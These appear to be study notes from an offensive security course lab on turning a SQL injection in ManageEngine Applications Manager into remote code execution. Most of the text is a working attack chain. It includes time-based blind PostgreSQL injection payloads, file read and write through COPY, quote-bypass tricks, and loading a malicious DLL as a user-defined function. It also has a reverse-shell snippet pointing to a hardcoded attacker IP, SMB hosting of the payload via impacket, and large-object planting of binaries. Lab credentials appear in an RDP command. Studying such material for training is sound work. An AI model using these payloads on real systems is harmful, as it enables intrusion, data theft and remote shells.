6. ManageEngine Applications Manager SQL Injection RCE
ManageEngine => Application performance monitoring solution
.do extension ==> URL mapping scheme for compiled Java code
Use procexp + properties to find the Java process to exploit and the directory location (such as \working)
WEB-INF: Java default web configuration folder path
web.xml: URL to servlet mapping
WEB-INF\lib => contains native application code and third party compiled java files
Use a decompiler like #JD-GUI to recover the original java source code and save the file
Use #NotePad++ to read
xfreerdp +nego +sec-rdp +sec-tls +sec-nla /d: /u: /p: /v:manageengine /u:Administrator /p:studentlab /size:1180x708
Finding SQL Injections in Java code
^.*query.*?select.*?where.*?\+.*?\; /** regex to search for sql queries => too many results so might not work
/** java http request handlers - can start with GET and POST*/
doGet, doPost, doPut, doDelete, doCopy, doOptions
/** in this case look for SQL injection via string concatenation that is not adequately filtered => AMUserResourcesSyncServlet class
Enable debugging for SQL injection
C:\Program Files (x86)\ManageEngine\AppManager12\working\pgsql\data\amdb\postgresql.conf
Change to log_statement = 'all'
Restart the service using services.msc from Run command
Log file location
C:\Program Files (x86)\ManageEngine\AppManager12\working\pgsql\data\amdb\pgsql_log\
Use pgAdmin frontend for postgresql located on the server to interact and send SQL queries directly to the application => pgCatalogs
psql.exe -U postgresql -p 15432
Triggering the Vulnerability
Use web.xml to find URL mapping in Java located in:
C:\Program Files (x86)\ManageEngine\AppManager12\working\WEB-INF
GET https://192.168.144.113:8443/servlet/AMUserResourcesSyncServlet?forMasRange=1&userId=1%3b
Observe error in logs, but not shown in application
For further exploitation, consider:
+ UNION query to extract information from database (Downside: can only extract same type BIGINT)
+ UNION query + Boolean-based blind to ask TRUE or FALSE questions
+ Stacked Queries (Downside: Returns two sets of results and need to use time-based blind to compensate)
+ `?forMasRange=1&userId=1%3bselect+pg_sleep(10)
How Houdini Escapes
Certain characters cannot be used because of HTML encoding => `'` becomes '
Cannot use concat ASCII to hexidecimal values for postgres as escape mechanism
```sql (string transformation) select convert_from(decode(‘QVdBRQ==’, ‘base64’), ‘utf-8’); # this still requires quotes
# CHR and string concatenation
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69); # result = AWAE; only works for basic queries such as SELECT, INSERT and UPDATE but not COPY
CREATE TABLE AWAE (offsec text); INSERT INTO AWAE(offsec) VALUES (CHR(65)||CHR(87)||CHR(65)||CHR(69));
SELECT * from AWAE; # result = AWAE
CREATE TABLE AWAE (offsec text);
INSERT INTO AWAE(offsec) VALUES (CHR(65)||CHR(87)||CHR(65)||CHR(69));
COPY AWAE (offsec) TO CHR(99)||CHR(58)||CHR(92)||CHR(92)||CHR(65)||CHR(87)||CHR(65)||CHR(69)); # result = ERROR: syntax error
# Using dollar-quoted string constants
# https://www.postgresql.org/docs/9.2/sql-syntax-lexical.html
SELECT 'AWAE';
SELECT $$AWAE$$;
SELECT $TAG$AWAE$TAG$; # using tags
# copy command
CREATE TEMP TABLE AWAE(offsec text);INSERT INTO AWAE(offsec) VALUES ($$test$$);
COPY AWAE(offsec) TO $$C:\Program Files (x86)\PostgreSQL\9.2\data\test.txt$$;
# break down:
# create a temporary table called AWAE with offsec as a text row
# insert into the offsec column 'test'
# copy the table to an output file in the respective location ``` Blind Bats ```sql
SELECT current_setting('is_superuser'); # enumerate our current privileges
";SELECT+case+when+(SELECT+current_setting($$is_superuser$$))=$$on$$+then+pg_sleep(10)+end;--+" # payload in time-based injection
";create+temp+table+awae+(content+text);copy+awae+from+$$c:\awae.txt$$;select+case+when(ascii(substr((select+content+from+awae),1,1))=104)+then+pg_sleep(10)+end;--+" # payload for reading files on system
";COPY+(SELECT+$$offsec$$)+to+$$c:\\offsec.txt$$;--+" # payload for writing files to system
# Reading files using stacked queries
CREATE temp table awae (content text);
COPY awae from $$c:\awae.txt$$;
SELECT content from awae;
DROP table awae;
# Writing files to system
COPY (SELECT $$offsec$$) to $$c:\\offsec.txt$$; # cannot transfer binary files as bytea limitations ``` PostgreSQL Extensions ```sql
# instead of using file execution, we can load local library to enable RCE
CREATE OR REPLACE FUNCTION test(text) RETURNS void AS 'FILENAME', 'test' LANGUAGE 'C' STRICT; # requires magic block or else fail to load extension libraries
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS 'C:\\Windows\\System32\\kernel32.dll', 'WinExec' LANGUAGE C STRICT; ``` ```sql (User-defined Functions (UDF) to RCE (Network Only)
# 1. Create a malicious DLL with postgres magic block and compile the project solution
# 2. Execute the user-defined function (UDF) test to load the malicious DLL and execute a program (and instances)
create or replace function test(text, integer) returns void as $$C:\Users\Administrator\source\repos\awae\Release\awae.dll$$, $$awae$$ language C strict;
SELECT test($$calc.exe$$, 3);
# For remote shell:
hax.sin_port = htons(4444);
hax.sin_addr.s_addr = inet_addr("192.168.119.173");
# 3. Clean up
C:\> del c:\awae.dll
DROP FUNCTION test(text, integer);
# 4. Network hosting of DLL for UDF import
sudo impacket-smbserver awae /home/kali/awae/
create or replace function test(text, integer) returns void as $$\\\\[location]\\awae\\awae.dll$$, $$awae$$ language C strict;
# 5. Use Python script for automation ``` ```sql (User-defined Functions (UDF) to RCE via Large Objects)
# 1. Create large object that will hold binary payload (DLL) using commands
select lo_import('C:\\Windows\\win.ini'); --> Using lo_import
\lo_list --> List of large objects
select lo_import('C:\\Windows\\win.ini', 1337); --> Define arbitrary loid values
select loid, pageno from pg_largeobject;
select loid, pageno, encode(data, 'escape') from pg_largeobject; --> encode binary data into visual representation
update pg_largeobject set data=decode('77303074', 'hex') where loid=1337 and pageno=0; --> changing the value of the file to something malicious
select lo_export(1337, 'C:\\new_win.ini'); --> export object to file
\lo_unlink 1337 --> deleting objects
# 2. Use POC code to inject lines into large object in Hex format
with open("/home/kali/awae/rev_shell.dll", "rb") as f:
content = f.read()
udf = binascii.hexlify(content) --> requires import binascii ```
